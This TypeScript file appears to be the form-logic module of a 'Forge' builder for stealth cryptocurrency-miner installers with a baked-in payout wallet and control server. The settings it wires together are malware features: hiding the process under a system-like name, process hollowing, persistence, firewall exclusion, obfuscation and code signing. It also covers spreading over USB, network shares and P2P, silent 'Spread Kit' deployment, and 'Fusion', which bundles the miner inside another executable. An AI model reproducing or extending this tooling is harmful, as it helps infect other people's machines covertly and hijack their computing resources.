import type { BuildRequest } from '../types';
import { normalizeForgeForm } from './forgeFormNormalize';

export type ForgeFieldBadge = 'baked' | 'server-only' | 'requires';

export interface ForgeFieldMeta {
  disabled: boolean;
  lockedReason?: string;
  badge?: ForgeFieldBadge;
  hint?: string;
}

export interface ForgeSectionMeta {
  id: string;
  title: string;
  description: string;
  badge: ForgeFieldBadge;
}

/** What each Forge section controls — shown in the UI header. */
export const FORGE_SECTIONS: ForgeSectionMeta[] = [
  {
    id: 'identity',
    title: 'Identity',
    description: 'Worker label, control server URL, payout wallet — all baked into the installer.',
    badge: 'baked',
  },
  {
    id: 'pool',
    title: 'Pool Configuration',
    description: 'Where this miner submits work. Baked per installer; each forged worker can use its own pool.',
    badge: 'baked',
  },
  {
    id: 'performance',
    title: 'Performance & Resources',
    description: 'Threads, CPU/RAM limits, and when mining runs. Baked into the worker binary.',
    badge: 'baked',
  },
  {
    id: 'install',
    title: 'Install & Process',
    description: 'Install path, persistence, stealth, and Task Manager name. Baked on first run.',
    badge: 'baked',
  },
  {
    id: 'fusion',
    title: 'Fusion',
    description: 'Optional prep.exe bundling. Baked into the fused output file.',
    badge: 'baked',
  },
  {
    id: 'ai',
    title: 'AI Autonomy',
    description: 'Ollama decisions via the control server. Baked toggle; Ollama must run on the server PC.',
    badge: 'baked',
  },
];

const BADGE_LABELS: Record<ForgeFieldBadge, string> = {
  baked: 'Baked into installer',
  'server-only': 'Server folder only — not in .exe',
  requires: 'Required when parent option is on',
};

export function forgeBadgeLabel(badge: ForgeFieldBadge): string {
  return BADGE_LABELS[badge];
}

/** Smart field update — auto-fixes coupled settings so incompatible mixes are hard to create. */
export function applyForgeFieldUpdate(
  form: BuildRequest,
  field: keyof BuildRequest,
  value: unknown
): BuildRequest {
  const next: BuildRequest = { ...form, [field]: value } as BuildRequest;

  switch (field) {
    case 'stealth_mode':
      if (value === true) {
        next.file_logging = false;
        if (next.display_mode === 'visible') {
          next.display_mode = 'background';
        }
        next.silent_mode = true;
      }
      break;
      
    case 'display_mode':
      if (value === 'visible') {
        next.stealth_mode = false;
        next.silent_mode = false;
      } else if (value === 'silent' || value === 'background') {
        next.silent_mode = true;
      }
      break;

    case 'persistence':
      next.auto_start = value === true;
      break;

    case 'auto_start':
      next.persistence = value === true;
      break;

    case 'target_os':
      if (value !== 'windows' && value !== 'universal') {
        next.process_hollowing = false;
        next.sign_build = false;
        if (value !== 'universal') {
          next.obfuscate = false;
        }
      }
      if (value === 'linux' || value === 'darwin') {
        next.spread_kit = false;
        next.target_arch = value === 'darwin' ? 'arm64' : 'amd64';
        if (['localappdata', 'appdata', 'programdata', 'userprofile'].includes(next.install_base)) {
          next.install_base = 'xdg_data_home';
        }
      } else if (value === 'windows') {
        next.target_arch = 'all';
        if (next.install_base === 'xdg_data_home') {
          next.install_base = 'localappdata';
        }
      } else if (value === 'universal') {
        next.target_arch = 'all';
      }
      break;

    case 'fusion_enabled':
      if (value === true) {
        next.display_mode = 'background';
        next.silent_mode = true;
        next.spread_kit = false;
        if (!next.target_os || next.target_os === 'windows') {
          next.target_os = 'universal';
        }
      }
      break;

    case 'spread_kit':
      if (value === true) {
        Object.assign(next, {
          fusion_enabled: false,
          target_os: 'universal',
          target_arch: 'all',
          run_as: 'scheduled',
          persistence: true,
          auto_start: true,
          self_healing: true,
          stealth_mode: true,
          silent_mode: true,
          file_logging: false,
          firewall_exclusion: true,
          display_mode: 'background',
          process_hollowing: false,
        });
      }
      break;

    case 'thread_mode':
      if (value === 'fixed' && next.threads < 1) {
        next.threads = 4;
      }
      if (value === 'percent' && (next.thread_percent < 1 || next.thread_percent > 100)) {
        next.thread_percent = 75;
      }
      break;

    case 'mining_mode':
      if (value === 'always') {
        // keep idle/schedule values for if user switches back
      }
      break;

    case 'install_base':
      if (value !== 'custom') {
        next.install_custom_base = '';
      }
      break;

    case 'run_as':
      if (value === 'scheduled' || value === 'service') {
        // Scheduled/service always creates a task — sync persistence flags so UI matches reality
        next.persistence = true;
        next.auto_start = true;
      }
      break;

    case 'ai_enabled':
      if (value === true) {
        if (!next.ai_ollama_endpoint?.trim()) {
          next.ai_ollama_endpoint = 'http://localhost:11434';
        }
        if (!next.ai_model?.trim()) {
          next.ai_model = 'llama3.2';
        }
      }
      break;

    case 'pool_port':
      if (typeof value === 'number') {
        if (value === 443 && !next.pool_tls) {
          next.pool_tls = true;
        }
      }
      break;

    case 'worker_name':
      // Do NOT auto-derive process_name from worker_name — RuntimeBrokerHelper is the stealth default.
      // Users can override process_name manually in Advanced mode.
      break;

    case 'pool_tls':
      if (value === true && next.pool_port === 3333) {
        // common pools use 443 for TLS — warn in preflight, don't auto-change port
      }
      break;
  }

  return normalizeForgeForm(next);
}

/** Per-field UI state: disabled fields + why. */
export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeFieldMeta> {
  const isFixedThreads = form.thread_mode === 'fixed';
  const isIdle = form.mining_mode === 'idle';
  const isScheduled = form.mining_mode === 'scheduled';
  const runAsForcedPersistence = form.run_as === 'scheduled' || form.run_as === 'service';
  const targetOs = form.target_os || 'windows';
  const isUnixSingle = targetOs === 'linux' || targetOs === 'darwin';
  const isWindowsOnly = targetOs === 'windows';
  const isUniversal = targetOs === 'universal';
  const isSpreadKit = !!form.spread_kit;
  const isFusion = !!form.fusion_enabled;

  return {
    worker_name: { disabled: false, badge: 'baked' },
    server_url: { disabled: false, badge: 'baked' },
    wallet: { disabled: false, badge: 'baked' },
    output_dir: {
      disabled: false,
      badge: 'server-only',
      hint: 'Only copies the built files on this PC — not embedded in the worker.',
    },
    pool_host: { disabled: false, badge: 'baked' },
    pool_port: { disabled: false, badge: 'baked' },
    pool_tls: { disabled: false, badge: 'baked' },
    pool_pass: { disabled: false, badge: 'baked' },
    thread_mode: { disabled: false, badge: 'baked' },
    thread_percent: {
      disabled: isFixedThreads,
      badge: 'baked',
      lockedReason: isFixedThreads ? 'Disabled while Thread Mode is Fixed — use Fixed Threads instead.' : undefined,
    },
    threads: {
      disabled: !isFixedThreads,
      badge: 'baked',
      lockedReason: !isFixedThreads ? 'Disabled while Thread Mode is Auto (%) — use Thread Percent instead.' : undefined,
    },
    cpu_priority: { disabled: false, badge: 'baked' },
    max_cpu_usage_pct: { disabled: false, badge: 'baked' },
    max_memory_percent: { disabled: false, badge: 'baked' },
    min_free_ram_mb: { disabled: false, badge: 'baked' },
    mining_mode: { disabled: false, badge: 'baked' },
    idle_threshold_pct: {
      disabled: !isIdle,
      badge: 'requires',
      lockedReason: !isIdle ? 'Only applies when Mining Mode is "Only When Idle".' : undefined,
    },
    idle_duration_minutes: {
      disabled: !isIdle,
      badge: 'requires',
      lockedReason: !isIdle ? 'Only applies when Mining Mode is "Only When Idle".' : undefined,
    },
    schedule_start: {
      disabled: !isScheduled,
      badge: 'requires',
      lockedReason: !isScheduled ? 'Only applies when Mining Mode is "Scheduled Hours".' : undefined,
    },
    schedule_end: {
      disabled: !isScheduled,
      badge: 'requires',
      lockedReason: !isScheduled ? 'Only applies when Mining Mode is "Scheduled Hours".' : undefined,
    },
    install_base: { disabled: false, badge: 'baked' },
    install_custom_base: {
      disabled: form.install_base !== 'custom',
      badge: 'requires',
      lockedReason: form.install_base !== 'custom' ? 'Select Install Base → Custom Path first.' : undefined,
    },
    install_relative_path: { disabled: false, badge: 'baked' },
    adapt_to_hardware: {
      disabled: isFixedThreads,
      badge: 'baked',
      lockedReason: isFixedThreads
        ? 'Adapt to hardware is ignored when using Fixed thread count — switch to Auto (%) or turn off fixed mode.'
        : undefined,
    },
    self_healing: { disabled: false, badge: 'baked' },
    firewall_exclusion: { disabled: false, badge: 'baked' },
    stealth_mode: { disabled: false, badge: 'baked' },
    file_logging: {
      disabled: form.stealth_mode,
      badge: 'baked',
      lockedReason: form.stealth_mode ? 'Stealth mode disables log files — turn off Stealth to enable logging.' : undefined,
    },
    process_name: { disabled: false, badge: 'baked' },
    display_mode: { disabled: false, badge: 'baked' },
    persistence: {
      disabled: runAsForcedPersistence,
      badge: 'baked',
      lockedReason: runAsForcedPersistence
        ? 'Run As Scheduled/Service always installs a logon task — persistence cannot be turned off for this mode.'
        : undefined,
    },
    auto_start: {
      disabled: runAsForcedPersistence,
      badge: 'baked',
      lockedReason: runAsForcedPersistence
        ? 'Linked to persistence — Scheduled/Service mode always auto-starts.'
        : undefined,
    },
    run_as: { disabled: false, badge: 'baked' },
    fusion_enabled: {
      disabled: isSpreadKit,
      badge: 'baked',
      lockedReason: isSpreadKit ? 'Turn off Spread Kit to use Fusion.' : undefined,
    },
    fusion_prep: {
      disabled: !form.fusion_enabled,
      badge: 'requires',
      lockedReason: !form.fusion_enabled ? 'Enable Fusion first.' : undefined,
    },
    fusion_run_order: {
      disabled: !form.fusion_enabled,
      badge: 'requires',
      lockedReason: !form.fusion_enabled ? 'Enable Fusion first.' : undefined,
    },
    fusion_output_name: {
      disabled: !form.fusion_enabled,
      badge: 'requires',
      lockedReason: !form.fusion_enabled ? 'Enable Fusion first.' : undefined,
    },
    ai_enabled: { disabled: false, badge: 'baked' },
    ai_ollama_endpoint: {
      disabled: !form.ai_enabled,
      badge: 'requires',
      lockedReason: !form.ai_enabled ? 'Enable AI Autonomy first.' : undefined,
    },
    ai_model: {
      disabled: !form.ai_enabled,
      badge: 'requires',
      lockedReason: !form.ai_enabled ? 'Enable AI Autonomy first.' : undefined,
    },
    process_hollowing: {
      disabled: isUnixSingle,
      badge: 'baked',
      lockedReason: isUnixSingle
        ? 'Process hollowing is Windows-only.'
        : isUniversal
          ? 'Only baked into the Windows worker inside universal builds.'
          : undefined,
      hint: isUniversal ? 'Windows agents only — Linux/macOS workers ignore this flag.' : undefined,
    },
    mesh_p2p: { disabled: false, badge: 'baked' },
    auto_spread: { disabled: false, badge: 'baked' },
    hole_punch: { disabled: false, badge: 'baked' },
    remote_aggressive: { disabled: false, badge: 'baked' },
    usb_spread: { disabled: false, badge: 'baked' },
    share_spread: { disabled: false, badge: 'baked' },
    target_os: {
      disabled: isSpreadKit || isFusion,
      badge: 'baked',
      lockedReason: isSpreadKit
        ? 'Spread Kit always targets all platforms (Universal).'
        : isFusion
          ? 'Movie fusion always builds a universal ZIP.'
          : undefined,
    },
    target_arch: {
      disabled: !isUnixSingle,
      badge: 'baked',
      lockedReason: !isUnixSingle
        ? 'Pick Linux or macOS as Target OS to choose architecture.'
        : undefined,
    },
    spread_kit: {
      disabled: isFusion,
      badge: 'baked',
      lockedReason: isFusion ? 'Spread Kit and Fusion are different deliverables — pick one above.' : undefined,
    },
    obfuscate: {
      disabled: isUnixSingle,
      badge: 'server-only',
      lockedReason: isUnixSingle ? 'Garble obfuscation applies to Windows builds only.' : undefined,
      hint: isUniversal ? 'Only the Windows binary in the universal ZIP is obfuscated.' : undefined,
    },
    sign_build: {
      disabled: !isWindowsOnly && !isUniversal,
      badge: 'server-only',
      lockedReason: !isWindowsOnly && !isUniversal
        ? 'Authenticode signing applies to Windows .exe output only.'
        : undefined,
      hint: isUniversal ? 'Signs the Windows runner/worker inside the package.' : undefined,
    },
  };
}

/** Live incompatibility notices shown above the form. */
export function getForgeLiveNotices(form: BuildRequest, fusionPrepSelected: boolean): string[] {
  const notices: string[] = [];

  if (form.run_as === 'service') {
    notices.push(
      'Run As "Windows Service" creates a scheduled task — not a real Windows Service. Persistence stays on.'
    );
  }
  if ((form.run_as === 'scheduled' || form.run_as === 'service') && !form.persistence) {
    notices.push('Persistence is forced on for Scheduled/Service run modes.');
  }
  if (form.fusion_enabled && !fusionPrepSelected) {
    notices.push('Fusion is enabled — upload prep.exe before you can forge.');
  }
  if (form.ai_enabled) {
    notices.push('AI calls Ollama on the control server PC (not the worker). Use http://localhost:11434 if Ollama runs on this machine.');
  }
  if (form.thread_mode === 'fixed' && form.adapt_to_hardware) {
    notices.push('Fixed thread count ignores "Adapt to hardware" at runtime.');
  }
  if (form.pool_port === 443 && !form.pool_tls) {
    notices.push('Port 443 usually requires TLS — enable Use TLS/SSL or verify your pool docs.');
  }
  if (form.pool_tls && form.pool_port === 3333) {
    notices.push('TLS on port 3333 is uncommon — many pools use 443 for SSL. Double-check pool docs.');
  }
  if (form.max_cpu_usage_pct < 30 && form.thread_percent > 70 && form.thread_mode === 'percent') {
    notices.push('Low Max CPU (%) with high Thread Percent may cause constant throttling.');
  }
  if (form.target_os === 'universal') {
    notices.push('Universal forge builds workers for Windows, Linux, and macOS in one ZIP.');
  }
  if (form.spread_kit) {
    notices.push('Spread Kit: silent deploy scripts run worker --spread-install on each platform.');
  }
  if (form.fusion_enabled) {
    notices.push('Fusion builds a universal ZIP — each OS gets its own runner inside bin/.');
  }
  if (form.target_os === 'linux' || form.target_os === 'darwin') {
    notices.push(`Single ${form.target_os} worker — install uses XDG/home paths, not Windows folders.`);
  }
  if (form.target_os === 'universal' && !form.fusion_enabled && !form.spread_kit) {
    notices.push('Universal without Spread Kit or Fusion — pick a deliverable type above.');
  }

  return notices;
}
